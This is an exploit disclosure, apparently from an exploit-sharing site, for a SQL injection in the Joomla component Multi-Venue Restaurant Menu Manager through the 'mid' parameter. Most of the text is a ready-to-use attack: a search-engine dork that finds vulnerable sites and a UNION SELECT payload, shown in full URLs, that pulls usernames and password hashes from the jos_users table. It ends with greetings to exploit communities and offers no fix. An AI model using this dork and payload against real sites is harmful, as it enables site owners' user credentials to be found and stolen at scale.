Joomla Component com_mv_restaurantmenumanager SQL Inj Vulnerability

=========================================================================
Joomla Component com_mv_restaurantmenumanager SQL Injection Vulnerability
=========================================================================


:: General information
:: Joomla Component Multi-Venue Restaurant Menu Manager SQL Injection Vulnerability
:: by Valentin Hoebel
:: [email protected]

:: Product information
:: Name =  Multi-Venue Restaurant Menu Manager (MVRMM)
:: Vendor = Focusplus Developments Ltd.
:: Vendor Website = http://www.focusdev.co.uk/
:: Affected versions = 1.5.2 Stable Update 3 and all previous versions

:: SQL Injection Vulnerability
Vulnerable Parameter
"mid"

Vulnerable URL
http://some-cool-domain.tld/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=XX&mid=XX&Itemid=XX

# dork              : inurl:option=com_mv_restaurantmenumanager
# Code                 :+and+1=2+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+jos_users
 
======================================================================
 
# EXPLOIT / c0de
 
+and+1=2+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+jos_users
 
 
# VULN IN HERE
 
http://localhost/joomla/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=5[c0de<http://localhost/joomla/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=5%5Bc0de>}
 
 
 
# EXAMPLE
 
http://localhost/joomla/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=5+and+1=2+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+jos_users<http://localhost/joomla/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=5+and+1=2+union+select+1,2,group_concat%28username,0x3a,password%29,4,5,6,7,8,9,10,11,12+from+jos_users>
 
 
[#]-------------------------------------------------------------------



:: Additional information
Exploitation can be a little bit tricky.

:: Misc
Greetz && Thanks to the inj3ct0r team (Inj3ct0r.com), Exploit DB, hack0wn and ExpBase!



#  0day.today [2018-03-02]  #